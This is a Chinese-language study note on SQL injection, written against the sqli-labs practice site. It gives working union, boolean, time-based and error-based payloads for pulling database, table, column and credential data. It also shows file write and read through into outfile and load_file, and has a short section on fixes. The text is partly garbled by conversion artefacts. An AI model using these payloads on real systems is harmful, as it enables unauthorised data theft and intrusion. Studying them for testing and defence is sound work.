SQL注入理解
1. 定義/類型
定義:簡單來講,當客戶端提交的數據未作處理或轉義直接帶入數據庫就形成了SQL注入。php
注入類型分爲: 1. 整型(沒有單雙引號) 2. 字符串(有單雙引號) 3. 其餘細分的類型本質上就是整型和字符串的區別
2.聯合注入
-
判斷整型注入仍是字符型注入html
and 1=2 //頁面正常-->不是整型注入 id=1' //加單引號,頁面不正常,字符型注入 --+ 將後面的語句註釋掉,頁面正常,判斷爲單引號注入
-
獲取字段總數mysql
- ‘ order by 3 --+
- group by 3 //判斷字段總數是否>=3
-
union鏈接查詢(字段必須和表格字段總數相符)sql
- select * from admin where id=1 union select 1,1,1; //union select 字段,字段,字段
- select username,password from admin where id=1 union select 1,1; //union先後字段對應
-
獲取數據庫信息shell
- 爆破數據庫名稱
http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
mysql> select *from admin where username='hello' union select 1,database(); +----------+----------+ | username | password | +----------+----------+ | hello | 123 | | 1 | sqltest | +----------+----------+ //sqltest爲數據庫名稱
- 數據庫版本version(),查看當前用戶user()
-
爆破數據庫表數據庫
http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
- union select 字段,字段,Table_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1
-
爆破字段名函數
select group_concat(column_name) from information_schema.columns where table_name='users'
select *from admin where 1=1 union select 1,Table_NAME from information_schema.TABLES where TABLE_SCHEMA='sqltest';//信息點:數據庫名和數據庫中的表名 select COLUMN_NAME from information_schema.COLUMNS where Table_NAME='admin'; //已知表名找字段名 獲取字段下一條 limit 1,1 最後已知字段和表名就能夠獲取內容啦! but,要是不能輸入單引號或者雙引號呢? 'admin' ====> 0x61646d696e(ASCIIhex)
3.導出數據庫別名拿shell
-
導出數據庫網站
select 內容 into outfile '路徑';//路徑的文件要不存在才能自動建立,路徑也能夠是網址,好比說phpstudy裏的WWW select *from admin into outfile 'D:/1.sql';//文件內容是表格的數據 select 'hello' into outfile 'd:/2.sql';//文件內容就是‘hello’
-
讀文件編碼
select load_file('e:/1.txt');//注意路徑要加引號,文件要具備可讀性(即權限)
-
html的錨點code
不能直接使用#註釋符,轉爲html的編碼%23; 不用註釋符閉合單引號的話,用 where '1'='1
4.布爾注入
select username,password from user where username='1' or 2>1 -- ' and password='123' 分析:username=‘中間的'人爲閉合,使得 or 2>1 能夠執行’ mysql的註釋(頗有用):空格--空格 或者 #
-
不能使用><=,你還會作嗎
select username,password from user where username='1' or true; select username,password from user where username='1' or !false;
mid(str,1,3)字符串截取 ord()轉成ascii碼 Length()統計字節長度
步驟:(手工注入) 1.獲取數據庫長度 username=111' or Length(database()) >1 # &password=222;//布爾注入的結果爲真假,因此要判斷,知道長度後>改成= 2.獲取數據庫名稱 ord(mid(database(),1,1))//對照ascii碼錶 ord(mid(database(),2,1)) ord(mid(database(),3,1)) ... 3.獲取表數目 or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())=1; 4.獲取表名長度 第一個表長: select length(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1; 第二個表長: select length(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1; 5.獲取表名 6.獲取字段總數 COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME= 7.獲取字段長度 8.獲取字段名 9.獲取字段內容 10.獲取內容長度 select length(concat(username,'-----'password)) from 表名 limit 0,1; 11.獲取內容 select concat(username,'-----'password) from 表名 limit 0,1;
5. 延時注入(與布爾相似)
if(條件,true,false) sleep(5); 獲取數據庫總數 select count(SCHEMA_NAME) from information_schema.SCHEMATA; 獲取數據庫名稱 select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1; 延時注入 sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)>1,0,5));
6.MySQL之bug注入
注意:表格的內容要有3條以上纔有效 1.爆數據庫 select concat(floor(rand(0)*2),'=======',(select database()))as xx, count(1)from admin group by xx; ERROR 1062 (23000): Duplicate entry '1=======sqltest' for key '<group_key>' 2.爆表名 select concat(floor(rand(0)*2),'=======',(select (TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()))as xx, count(1)from admin group by xx; ERROR 1062 (23000): Duplicate entry '1=======admin' for key '<group_key>' 3.爆字段 select concat(floor(rand(0)*2),'=======',(select concat(username,'----',password) from admin limit 0,1)) as xx, count(1)from admin group by xx; ERROR 1062 (23000): Duplicate entry '1=======bai----123' for key '<group_key>' //語法錯誤什麼的錯誤代碼是1064,報錯注入的錯誤代碼是1062
7.mysql之函數報錯
8.修補sql漏洞
1.字符串addslashes()---轉義/過濾關鍵字 2.整型----+0/int()/過濾關鍵字
9.判斷是否存在注入
1.加入單引號'提交, 結果:若是出現錯誤提示,則該網站可能就存在注入漏洞。 2.數字型判斷是否有注入; 語句:and 1=1 ;and 1=2 (經典)、' and '1'=1(字符型) 結果:分別返回不一樣的頁面,說明存在注入漏洞. 分析:and 的意思是「和」若是沒有過濾咱們的語句,and 1=1就會被代入SQL查詢語句進行查詢, 若是and先後的兩條語句都是真的話就不會出錯,但若是先後語句有一個爲假的話,程序就會暴錯。 也就代表程序有注入漏洞 防注入解決辦法: 使用or 2>1 ; or 1>2來進行判斷 結果:分別返回不一樣的頁面,說明存在注入漏洞. 分析:or注入只要求先後兩個語句只要有一個正確就爲真,若是先後兩個語句都是正確的,反而爲 假。 記住:or注入時,or後面的語句若是是正確的,則返回錯誤頁面!若是是錯誤,則返回正確頁面 ,說明存在注入點。 使用xor 1=1; xor 1=2 結果:分別返回不一樣的頁面,說明存在注入漏洞. 分析:xor 表明着異或,意思即鏈接的表達式僅有一個爲真的時候才爲真。 記住:xor注入時,xor後面的語句若是是正確的,則返回錯誤頁面積,若是是錯誤,則返回正確 頁面,說明存在注入點。 把and 1=1轉換成URL編碼形式後在提交 and 1=1 URL編碼:%41%4E%44%20%%31%3D%31 使用-1;-0 分析:若是返回的頁面和前面不一樣,是另外一則新聞,則表示有注入漏洞,是數字型的注入漏洞;在 URL地址後面加上 -0,URL變成 news.asp?id=123-0,返回的頁面和前面的 頁面相同,加上-1,返回錯誤頁面,則也表示存在注入漏洞. 3.字符型判斷是否有注入: 語句:' and '1'=1;' and '1=2(經典) 結果:結果:分別返回不一樣的頁面,說明存在注入漏洞. 分析:加入' and '1'=1返回正確頁面,加入' and '1=2返回錯誤頁面,說明有注入漏同。 防注入解決辦法: 在URL的地址後面加上'%2B'(字符型) 分析:URL地址變爲:news.asp?id=123'%2B',返回的頁面和1同;加 上'2%2B'asdf,URL地址變爲:news.asp?id=123'%2Basdf,返回的頁面和1 不一樣,或者說未發現該條記錄,或者錯誤,則表示存在注入點,是文本型的。 4.搜索型判斷是否有注入: 簡單的判斷搜索型注入漏洞存在不存在的辦法是先搜索',若是出錯,說明90%存在這個漏洞。而後搜 索%,若是正常返回,說明95%有洞了。 說明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,均可以實現,若是出現錯誤,說明有問題 操做: 搜索一個關鍵字,好比2006吧,正常返回全部2006相關的信息,再搜索2006%'and 1=1 and '%'='和 2006%'and 1=2 and '%'=',存在異同的話,就是100%有洞了。 關鍵字%' and 1=1 and '%'='% 關鍵字%' and 1=2 and '%'='% 將and 1=1 換成注入語句就能夠了